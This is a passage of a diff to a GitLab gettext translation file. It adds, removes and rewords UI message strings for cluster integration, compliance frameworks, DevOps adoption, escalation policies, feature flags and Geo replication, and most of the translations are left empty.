-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7708,9 +7579,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7759,15 +7627,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7792,9 +7654,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7813,27 +7672,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7843,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7891,9 +7717,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7915,21 +7738,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7954,27 +7765,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7990,12 +7786,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8068,6 +7858,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8083,9 +7876,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8383,9 +8182,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8422,9 +8218,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8443,42 +8236,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8497,6 +8257,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8749,6 +8512,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9103,7 +8869,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9142,6 +8908,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9208,6 +8977,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9448,9 +9220,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9577,9 +9346,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9811,6 +9577,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9820,9 +9592,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9838,9 +9607,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9916,6 +9682,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10135,9 +9904,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10204,6 +9970,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10564,9 +10342,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10591,6 +10366,9 @@ msgstr "Dani"
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10624,7 +10402,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10744,6 +10522,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11422,12 +11203,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11485,7 +11284,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11497,21 +11296,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11545,6 +11347,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11566,6 +11371,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11584,15 +11392,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11779,7 +11584,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11830,7 +11635,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11839,6 +11644,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Preuzimanje"
@@ -12055,9 +11863,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12091,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12154,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12283,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12292,13 +12100,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12379,13 +12190,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12403,6 +12211,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12418,9 +12229,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12430,9 +12238,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12562,6 +12367,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12727,9 +12535,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13210,7 +13015,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13219,30 +13024,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13252,6 +13081,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13288,9 +13126,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13435,7 +13270,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13456,9 +13291,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13555,9 +13387,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13576,9 +13405,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13864,9 +13690,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13897,9 +13720,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13948,9 +13768,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13981,9 +13798,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13999,9 +13813,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14041,24 +13852,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14068,9 +13867,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14155,9 +13951,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14173,6 +13966,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14239,9 +14035,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14410,6 +14203,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14431,10 +14227,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14638,159 +14431,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14881,6 +14536,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14980,9 +14638,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15055,6 +14710,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15064,6 +14725,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15094,9 +14758,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15118,6 +14779,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15658,9 +15328,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15706,6 +15373,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15727,9 +15403,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15760,6 +15433,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
